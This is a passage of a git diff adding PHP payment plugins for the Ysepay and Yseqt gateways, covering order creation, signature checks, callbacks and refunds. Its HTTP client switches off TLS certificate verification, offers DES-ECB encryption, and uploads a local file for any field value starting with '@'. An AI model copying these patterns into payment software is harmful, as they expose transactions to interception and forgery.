TRADE_NO . '/'; + + $response = $client->execute($method, $params); + $result = $response->getData(); + + if (isset($result['code']) && $result['code'] == '10000') { + return $result['source_qr_code_url']; + } elseif(isset($result['sub_code'])) { + throw new Exception('['.$result['sub_code'].']'.$result['sub_msg']); + } elseif(isset($result['msg'])) { + throw new Exception($result['msg']); + } else { + throw new Exception('系统异常,状态未知!'); + } + } + + //微信公众号小程序支付 + static private function weixin($appid, $openid, $isminipg = '2'){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/YsepayClient.php"); + + $seller_id = $channel['appmchid']?$channel['appmchid']:$channel['appid']; + $method = 'ysepay.online.weixin.pay'; + $params = [ + 'out_trade_no' => TRADE_NO, + 'shopdate' => date("Ymd"), + 'subject' => $ordername, + 'total_amount' => $order['realmoney'], + 'currency' => 'CNY', + 'seller_id' => $seller_id, + 'timeout_express' => '7d', + 'business_code' => $channel['appurl'], + 'appid' => $appid, + 'sub_openid' => $openid, + 'is_minipg' => $isminipg, + 'payer_ip' => $clientip, + ]; + + $client = new YsepayClient($channel['appid'], $channel['appkey']); + $client->notifyUrl = $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/'; + + $response = $client->execute($method, $params); + $result = $response->getData(); + + if (isset($result['code']) && $result['code'] == '10000') { + return $result['jsapi_pay_info']; + } elseif(isset($result['sub_code'])) { + throw new Exception('['.$result['sub_code'].']'.$result['sub_msg']); + } elseif(isset($result['msg'])) { + throw new Exception($result['msg']); + } else { + throw new Exception('系统异常,状态未知!'); + } + } + + //WAP支付 + static private function wappay($bank_type){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/YsepayClient.php"); + + $seller_id = $channel['appmchid']?$channel['appmchid']:$channel['appid']; + $method = 'ysepay.online.wap.directpay.createbyuser'; + $params = [ + 'out_trade_no' => TRADE_NO, + 'shopdate' => date("Ymd"), + 'subject' => $ordername, + 'total_amount' => $order['realmoney'], + 'seller_id' => $seller_id, + 'timeout_express' => '7d', + 'business_code' =>$channel['appurl'], + 'pay_mode' => 'native', + 'bank_type' => $bank_type, + ]; + + $client = new YsepayClient($channel['appid'], $channel['appkey']); + $client->notifyUrl = $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/'; + $client->returnUrl = $siteurl . 'pay/return/' . TRADE_NO . '/'; + + $html = $client->pageExecute($method, $params); + return $html; + } + + //支付宝扫码支付 + static public function alipay(){ + global $channel, $device, $siteurl; + if(in_array('2',$channel['apptype']) && (checkmobile() || $device=='mobile')){ + try{ + $html = self::wappay('1903000'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$ex->getMessage()]; + } + return ['type'=>'html','data'=>$html]; + }elseif(in_array('1',$channel['apptype'])){ + try{ + $code_url = self::qrcode('1903000'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$ex->getMessage()]; + } + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + }else{ + $code_url = $siteurl . 'pay/alipay/' . TRADE_NO . '/'; + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + } + + //微信扫码支付 + static public function wxpay(){ + global $channel, $siteurl; + if($channel['appwxmp']>0){ + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + }else{ + try{ + $code_url = self::qrcode('1902000'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + } + + if (checkmobile()) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //QQ扫码支付 + static public function qqpay(){ + try{ + $code_url = self::qrcode('1904000'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'QQ钱包支付下单失败!'.$ex->getMessage()]; + } + + if(checkmobbileqq()){ + return ['type'=>'jump','url'=>$code_url]; + } elseif(checkmobile() && !isset($_GET['qrcode'])){ + return ['type'=>'qrcode','page'=>'qqpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'qqpay_qrcode','url'=>$code_url]; + } + } + + //云闪付扫码支付 + static public function bank(){ + try{ + $code_url = self::qrcode('9001002'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl, $channel, $order, $ordername, $conf; + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + //②、统一下单 + try{ + $jsApiParameters = self::weixin($wxinfo['appid'], $openid, '2'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']==1){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$jsApiParameters, 'redirect_url'=>$redirect_url]]; + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl, $channel, $order, $ordername, $conf; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + try{ + $jsApiParameters = self::weixin($wxinfo['appid'], $openid, '1'); + }catch(Exception $ex){ + exit('{"code":-1,"msg":"'.$ex->getMessage().'"}'); + } + + exit(json_encode(['code'=>0, 'data'=>json_decode($jsApiParameters, true)])); + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try{ + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + require(PAY_ROOT."inc/YsepayClient.php"); + + //计算得出通知验证结果 + $client = new YsepayClient($channel['appid'], $channel['appkey']); + $verify_result = $client->verify($_POST); + + if($verify_result) {//验证成功 + $out_trade_no = $_POST['out_trade_no']; + $trade_no = $_POST['trade_no']; + $buyer_id = $_POST['buyer_user_id']; + $total_amount = $_POST['total_amount']; + + if ($_POST['trade_status'] == 'TRADE_SUCCESS') { + if($out_trade_no == TRADE_NO && round($total_amount,2)==round($order['realmoney'],2)){ + processNotify($order, $trade_no, $buyer_id); + } + } + return ['type'=>'html','data'=>'success']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'fail']; + } + } + + //同步回调 + static public function return(){ + global $channel, $order; + + require(PAY_ROOT."inc/YsepayClient.php"); + + //计算得出通知验证结果 + $client = new YsepayClient($channel['appid'], $channel['appkey']); + $verify_result = $client->verify($_GET); + + if($verify_result) {//验证成功 + $out_trade_no = $_GET['out_trade_no']; + $trade_no = $_GET['trade_no']; + $total_amount = $_GET['total_amount']; + + if ($_GET['trade_status'] == 'TRADE_SUCCESS') { + if($out_trade_no == TRADE_NO && round($total_amount,2)==round($order['realmoney'],2)){ + processReturn($order, $trade_no); + }else{ + return ['type'=>'error','msg'=>'订单信息校验失败']; + } + }else{ + return ['type'=>'error','msg'=>'trade_status='.$_GET['trade_status']]; + } + } + else { + //验证失败 + return ['type'=>'error','msg'=>'返回验证失败']; + } + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require(PAY_ROOT."inc/YsepayClient.php"); + + $method = 'ysepay.online.trade.refund'; + $params = [ + 'out_trade_no' => $order['trade_no'], + 'shopdate' => date("Ymd"), + 'trade_no' => $order['api_trade_no'], + 'refund_amount' => $order['refundmoney'], + 'refund_reason' => '申请退款', + 'out_request_no' => $order['refund_no'], + ]; + + $client = new YsepayClient($channel['appid'], $channel['appkey']); + $response = $client->execute($method, $params); + $result = $response->getData(); + + if (isset($result['code']) && $result['code'] == '10000') { + return ['code'=>0, 'trade_no'=>$result['trade_no'], 'refund_fee'=>$result['refund_amount']]; + } elseif(isset($result['sub_code'])) { + return ['code'=>-1, 'msg'=>'['.$result['sub_code'].']'.$result['sub_msg']]; + } elseif(isset($result['msg'])) { + return ['code'=>-1, 'msg'=>$result['msg']]; + } else { + return ['code'=>-1, 'msg'=>'未知错误']; + } + } +} \ No newline at end of file diff --git a/plugins/yseqt/cert/businessgate.cer b/plugins/yseqt/cert/businessgate.cer new file mode 100644 index 0000000..085d7b9 Binary files /dev/null and b/plugins/yseqt/cert/businessgate.cer differ diff --git a/plugins/yseqt/inc/YseqtClient.php b/plugins/yseqt/inc/YseqtClient.php new file mode 100644 index 0000000..6104b69 --- /dev/null +++ b/plugins/yseqt/inc/YseqtClient.php @@ -0,0 +1,239 @@ +srcMerchantNo = $srcMerchantNo; + $this->privateKeyPwd = $privateKeyPwd; + $this->businessgateCertPath = PLUGIN_ROOT.'yseqt/cert/businessgate.cer'; + if(file_exists(PLUGIN_ROOT.'yseqt/cert/'.$srcMerchantNo.'.pfx')){ + $this->privateCertPath = PLUGIN_ROOT.'yseqt/cert/'.$srcMerchantNo.'.pfx'; + }else{ + $this->privateCertPath = PLUGIN_ROOT.'yseqt/cert/client.pfx'; + } + if(!file_exists($this->businessgateCertPath)){ + throw new \Exception('银盛公钥证书文件businessgate.cer不存在'); + } + if(!file_exists($this->privateCertPath)){ + throw new \Exception('商户私钥证书文件client.pfx不存在'); + } + } + + //交易接口 + public function execute($serviceNo, $bizContent){ + $params = [ + 'requestId' => getSid(), + 'srcMerchantNo' => $this->srcMerchantNo, + 'version' => $this->version, + 'charset' => $this->charset, + 'serviceNo' => $serviceNo, + 'signType' => $this->signType, + ]; + $params['bizReqJson'] = json_encode($bizContent, JSON_UNESCAPED_SLASHES|JSON_UNESCAPED_UNICODE); + $params['sign'] = $this->generateSign($params); + $response = $this->curl($this->gateway_url, $params); + $result = json_decode($response, true); + if(!empty($result['sign'])){ + $this->verifyResponse($result); + } + if(isset($result['code']) && $result['code'] == 'SYS000'){ + return $result['bizResponseJson']; + }else{ + throw new \Exception($result['msg']?$result['msg']:'返回数据解析失败'); + } + } + + //文件上传接口 + public function upload($serviceNo, $bizContent){ + $url = 'https://eqt.ysepay.com/api/file'; + $params = [ + 'requestId' => getSid(), + 'srcMerchantNo' => $this->srcMerchantNo, + 'version' => $this->version, + 'charset' => $this->charset, + 'serviceNo' => $serviceNo, + 'signType' => $this->signType, + ]; + $params['sign'] = $this->generateSign($params); + $params['bizReqJson'] = json_encode($bizContent, JSON_UNESCAPED_SLASHES|JSON_UNESCAPED_UNICODE); + $response = $this->curl($url, $params); + $result = json_decode($response, true); + if(!empty($result['sign'])){ + $this->verifyResponse($result); + } + if(isset($result['code']) && $result['code'] == 'SYS000'){ + return $result['bizResponseJson']; + }else{ + throw new \Exception($result['msg']?$result['msg']:'返回数据解析失败'); + } + } + + //异步通知回调验签 + public function verify($params) + { + if (!$params || !isset($params['sign'])) { + return false; + } + $sign = $params['sign']; + $data = $this->getSignContent($params); + try { + return $this->rsaPubilcVerify($data, $sign); + } catch (\Exception $ex) { + return false; + } + } + + //验证返回内容签名 + private function verifyResponse($params) + { + $sign = $params['sign']; + if(is_array($params['bizResponseJson'])) $params['bizResponseJson'] = json_encode($params['bizResponseJson'], JSON_UNESCAPED_SLASHES|JSON_UNESCAPED_UNICODE); + $data = $this->getSignContent($params); + $checkResult = $this->rsaPubilcVerify($data, $sign); + if (!$checkResult) { + throw new \Exception('对返回数据使用银盛公钥验签失败'); + } + } + + private function generateSign($params){ + return $this->rsaPrivateSign($this->getSignContent($params)); + } + + private function getSignContent($params){ + ksort($params); + unset($params['sign']); + + $signStr = ""; + foreach ($params as $key => $val) { + if(substr($val, 0, 1) == '@' || $val === null) continue; + $signStr .= $key . '=' . $val . '&'; + } + return rtrim($signStr, '&'); + } + + //银盛公钥 + private function getPublicKey() + { + $file = file_get_contents($this->businessgateCertPath); + $cert = chunk_split(base64_encode($file), 64, "\n"); + $cert = "-----BEGIN CERTIFICATE-----\n" . $cert . "-----END CERTIFICATE-----\n"; + $res = openssl_pkey_get_public($cert); + if (!$res) { + throw new \Exception('从银盛公钥证书获取公钥失败'); + } + return $res; + } + + //商户私钥 + private function getPrivateKey() + { + $file = file_get_contents($this->privateCertPath); + if (!openssl_pkcs12_read($file, $cert, $this->privateKeyPwd)) { + throw new \Exception('商户私钥证书解析失败'); + } + return openssl_pkey_get_private($cert['pkey']); + } + + //私钥加签 + private function rsaPrivateSign($data) + { + $prikey = $this->getPrivateKey(); + $result = openssl_sign($data, $sign, $prikey); + if (!$result) throw new \Exception('sign error'); + return base64_encode($sign); + } + + //公钥验签 + public function rsaPubilcVerify($data, $sign) + { + $pubkey = $this->getPublicKey(); + $result = openssl_verify($data, base64_decode($sign), $pubkey); + return $result === 1; + } + + //DES加密方法 + public function ECBEncrypt($data, $key): string + { + $encrypted = openssl_encrypt($data, 'DES-ECB', $key, OPENSSL_RAW_DATA); + return base64_encode($encrypted); + } + + //DES解密方法 + public function ECBDecrypt($data, $key): string + { + $encrypted = base64_decode($data); + $decrypted = openssl_decrypt($encrypted, 'DES-ECB', $key, OPENSSL_RAW_DATA); + return $decrypted; + } + + private function curl($url, $postFields = null) + { + $ch = curl_init(); + + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_FAILONERROR, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + + if (is_array($postFields) && 0 < count($postFields)) { + $postMultipart = false; + foreach ($postFields as &$value) { + if(substr($value, 0, 1) == '@' && class_exists('CURLFile')){ + $postMultipart = true; + $file = substr($value, 1); + if(file_exists($file)){ + $value = new \CURLFile($file); + } + } + } + curl_setopt($ch, CURLOPT_POST, true); + if($postMultipart){ + curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields); + }else{ + curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postFields)); + } + } + + $response = curl_exec($ch); + + if (curl_errno($ch) > 0) { + $errmsg = curl_error($ch); + curl_close($ch); + throw new \Exception($errmsg, 0); + } + + $httpStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); + if ($httpStatusCode != 200) { + curl_close($ch); + throw new \Exception($response, $httpStatusCode); + } + + curl_close($ch); + + return $response; + } + +} \ No newline at end of file diff --git a/plugins/yseqt/yseqt_plugin.php b/plugins/yseqt/yseqt_plugin.php new file mode 100644 index 0000000..4eb7e0a --- /dev/null +++ b/plugins/yseqt/yseqt_plugin.php @@ -0,0 +1,609 @@ + 'yseqt', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '银盛e企通', //支付插件显示名称 + 'author' => '银盛', //支付插件作者 + 'link' => 'https://www.ysepay.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'transtypes' => ['bank'], //支付插件支持的转账方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '服务商商户号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '私钥证书密码', + 'type' => 'input', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '收款商户号', + 'type' => 'input', + 'note' => '', + ], + ], + 'select_alipay' => [ + '1' => '扫码支付', + '2' => '生活号支付', + ], + 'select_wxpay' => [ + '1' => '公众号支付', + '2' => '小程序H5支付', + '3' => 'JS支付', + ], + 'select' => null, + 'note' => '只能使用RSA证书!需要将商户私钥证书client.pfx(或商户号.pfx)上传到 /plugins/yseqt/cert 文件夹内', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + if(checkalipay() && in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/alipaywap/'.TRADE_NO.'/']; + } + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + }elseif($order['typename']=='wxpay'){ + if(checkwechat()){ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + }elseif(checkmobile() && (in_array('1',$channel['apptype']) || in_array('2',$channel['apptype']))){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice, $method; + + if($method == 'applet'){ + return self::wxapppay(); + }elseif($order['typename']=='alipay'){ + if($mdevice=='alipay' && in_array('2',$channel['apptype'])){ + return self::alipaywap(); + } + return self::alipay(); + }elseif($order['typename']=='wxpay'){ + if($mdevice=='wechat'){ + return self::wxpay(); + }elseif($device=='mobile'){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + //正扫支付 + static private function scanPay($bank_type){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/YseqtClient.php"); + + $params = [ + 'requestNo' => TRADE_NO, + 'payeeMerchantNo' => $channel['appmchid'], + 'orderDesc' => $ordername, + 'amount' => $order['realmoney'], + 'bankType' => $bank_type, + 'notifyUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + ]; + if($order['profits'] > 0){ + $params['isDivision'] = 'Y'; + } + + $client = new YseqtClient($channel['appid'], $channel['appkey']); + return \lib\Payment::lockPayData(TRADE_NO, function () use ($client, $params) { + $result = $client->execute('scanPay', $params); + if($result['subCode'] == 'COM000'){ + return $result['qrCode']; + }else{ + throw new Exception($result['subMsg']); + } + }); + } + + //聚合收银台支付 + static private function cashierPay($pay_mode){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/YseqtClient.php"); + + $params = [ + 'requestNo' => TRADE_NO, + 'payeeMerchantNo' => $channel['appmchid'], + 'orderDesc' => $ordername, + 'amount' => $order['realmoney'], + 'payMode' => $pay_mode, + 'notifyUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + 'isFastPay' => 'Y' + ]; + if($order['profits'] > 0){ + $params['isDivision'] = 'Y'; + } + + $client = new YseqtClient($channel['appid'], $channel['appkey']); + return \lib\Payment::lockPayData(TRADE_NO, function () use ($client, $params) { + $result = $client->execute('cashierPay', $params); + if($result['subCode'] == 'COM000'){ + return $result['payData']; + }else{ + throw new Exception($result['subMsg']); + } + }); + } + + //聚合JS支付 + static private function jsPay($bankType, $payMode, $openid = null, $appid = null){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/YseqtClient.php"); + + $params = [ + 'requestNo' => TRADE_NO, + 'payeeMerchantNo' => $channel['appmchid'], + 'orderDesc' => $ordername, + 'amount' => $order['realmoney'], + 'bankType' => $bankType, + 'payMode' => $payMode, + 'notifyUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + ]; + if($payMode == '28' || $payMode == '29'){ + $params['wxAppId'] = $appid; + $params['wxOpenId'] = $openid; + }elseif($payMode == '26'){ + $params['alipayId'] = $openid; + }elseif($payMode == '30'){ + $params['unionUserId'] = $openid; + } + if($order['profits'] > 0){ + $params['isDivision'] = 'Y'; + } + + $client = new YseqtClient($channel['appid'], $channel['appkey']); + return \lib\Payment::lockPayData(TRADE_NO, function () use ($client, $params) { + $result = $client->execute('jsPay', $params); + if($result['subCode'] == 'COM000'||$result['subCode'] == 'COM004'){ + return $result['payData']; + }else{ + throw new Exception($result['subMsg']); + } + }); + } + + //支付宝扫码支付 + static public function alipay(){ + global $channel, $siteurl, $mdevice; + if(in_array('1',$channel['apptype'])){ + try{ + $code_url = self::scanPay('1903000'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$ex->getMessage()]; + } + }else{ + $code_url = $siteurl.'pay/alipaywap/'.TRADE_NO.'/'; + } + + if(checkalipay() || $mdevice=='alipay'){ + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + } + + //支付宝生活号支付 + static public function alipaywap(){ + global $mdevice; + try{ + $code_url = self::cashierPay('26'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$ex->getMessage()]; + } + + if(checkalipay() || $mdevice=='alipay'){ + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'page','page'=>'alipay_h5','url'=>$code_url]; + } + } + + //微信扫码支付 + static public function wxpay(){ + global $channel, $siteurl, $device, $mdevice; + if(in_array('2',$channel['apptype'])){ + try{ + $code_url = self::cashierPay('29h5'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + }elseif(in_array('1',$channel['apptype'])){ + $code_url = $siteurl.'pay/wxwappay/'.TRADE_NO.'/'; + }else{ + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + } + + if (checkwechat() || $mdevice=='wechat') { + return ['type'=>'jump','url'=>$code_url]; + } elseif (checkmobile() || $device == 'mobile') { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl,$channel, $mdevice; + if(in_array('2',$channel['apptype'])){ + try{ + $code_url = self::cashierPay('29UrlScheme'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + } + elseif(in_array('1',$channel['apptype'])){ + try{ + $code_url = self::cashierPay('28'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + if (checkwechat() || $mdevice=='wechat') { + return ['type'=>'jump','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } + } + } + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl, $channel, $order, $ordername, $conf; + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + //②、统一下单 + try{ + $paydata = self::jsPay('1902000', '28', $openid, $wxinfo['appid']); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']==1){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$paydata, 'redirect_url'=>$redirect_url]]; + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl,$channel, $mdevice; + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + try{ + $paydata = self::jsPay('1902000', '29', $openid, $wxinfo['appid']); + }catch(Exception $ex){ + exit('{"code":-1,"msg":"'.$ex->getMessage().'"}'); + } + exit(json_encode(['code'=>0, 'data'=>json_decode($paydata, true)])); + } + + //微信APP支付 + static public function wxapppay(){ + try{ + $paydata = self::cashierPay('29'); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'wxapp','data'=>['appId'=>'wx05e71f6f41f6b9b4', 'miniProgramId'=>'gh_d27d42772cd8', 'path'=>'pages/index/index', 'extraData'=>json_decode($paydata, true)]]; + } + + //云闪付扫码支付 + static public function bank(){ + try{ + $code_url = self::scanPay('9001002'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + require(PAY_ROOT."inc/YseqtClient.php"); + + //计算得出通知验证结果 + $client = new YseqtClient($channel['appid'], $channel['appkey']); + $verify_result = $client->verify($_POST); + + if($verify_result) {//验证成功 + $arr = json_decode($_POST['bizResponseJson'], true); + $out_trade_no = $arr['requestNo']; + $trade_no = $arr['tradeSn']; + $buyer_id = !empty($arr['openId']) ? $arr['openId'] : $arr['userId']; + $total_amount = $arr['amount']; + $bill_trade_no = $arr['channelRecvSn']; + if($order['type'] == 1 && substr($bill_trade_no, 0, 4) != date('Y') && substr($bill_trade_no, 2, 4) == date('Y')) $bill_trade_no = substr($bill_trade_no, 2); + + if ($arr['state'] == 'SUCCESS') { + if($out_trade_no == TRADE_NO && round($total_amount,2)==round($order['realmoney'],2)){ + processNotify($order, $trade_no, $buyer_id, $bill_trade_no); + } + } + return ['type'=>'html','data'=>'success']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'fail']; + } + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //退款 + static public function refund($order){ + global $channel, $DB; + if(empty($order))exit(); + + require(PAY_ROOT."inc/YseqtClient.php"); + + $params = [ + 'requestNo' => $order['refund_no'], + 'origRequestNo' => $order['trade_no'], + 'origTradeSn' => $order['api_trade_no'], + 'amount' => $order['refundmoney'], + 'reason' => '申请退款', + 'isDivision' => 'N' + ]; + if($order['profits'] > 0){ + $psorder = $DB->getRow("SELECT A.*,B.channel,B.account FROM pre_psorder A LEFT JOIN pre_psreceiver B ON A.rid=B.id WHERE A.trade_no=:trade_no", [':trade_no'=>$order['trade_no']]); + if($psorder && ($psorder['status'] == 1 || $psorder['status'] == 2)){ + $params['isDivision'] = 'Y'; + $refundSplitInfo = [ + [ + 'refundMercId' => $psorder['account'], + 'refundAmount' => $psorder['money'], + ], + [ + 'refundMercId' => $channel['appmchid'], + 'refundAmount' => round($order['realmoney'] - $psorder['money'], 2), + ] + ]; + $params['refundSplitInfo'] = $refundSplitInfo; + } + } + + $client = new YseqtClient($channel['appid'], $channel['appkey']); + try{ + $result = $client->execute('refund', $params); + if($result['subCode'] == 'COM000' || $result['subCode'] == 'COM004'){ + if($psorder && ($psorder['status'] == 1 || $psorder['status'] == 2)){ + $DB->update('psorder', ['status'=>4], ['id'=>$psorder['id']]); + } + return ['code'=>0, 'trade_no'=>$result['refundSn'], 'refund_fee'=>$result['amount']]; + }else{ + $params['requestNo'] = $order['refund_no'].'1'; + $params['refundSource'] = '01'; + $result = $client->execute('refund', $params); + if($result['subCode'] == 'COM000' || $result['subCode'] == 'COM004'){ + if($psorder && ($psorder['status'] == 1 || $psorder['status'] == 2)){ + $DB->update('psorder', ['status'=>4], ['id'=>$psorder['id']]); + } + return ['code'=>0, 'trade_no'=>$result['refundSn'], 'refund_fee'=>$result['amount']]; + }else{ + return ['code'=>-1, 'msg'=>$result['subMsg']]; + } + } + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + static public function othernotify(){ + global $channel; + + require(PAY_ROOT."inc/YseqtClient.php"); + + //计算得出通知验证结果 + $client = new YseqtClient($channel['appid'], $channel['appkey']); + $verify_result = $client->verify($_POST); + + if($verify_result) {//验证成功 + $arr = json_decode($_POST['bizResponseJson'], true); + + if($_POST['serviceNo'] == 'merchantAddNotify'){ + $model = \lib\Applyments\CommUtil::getModel2($channel); + if($model) $model->notify($arr); + } + + return 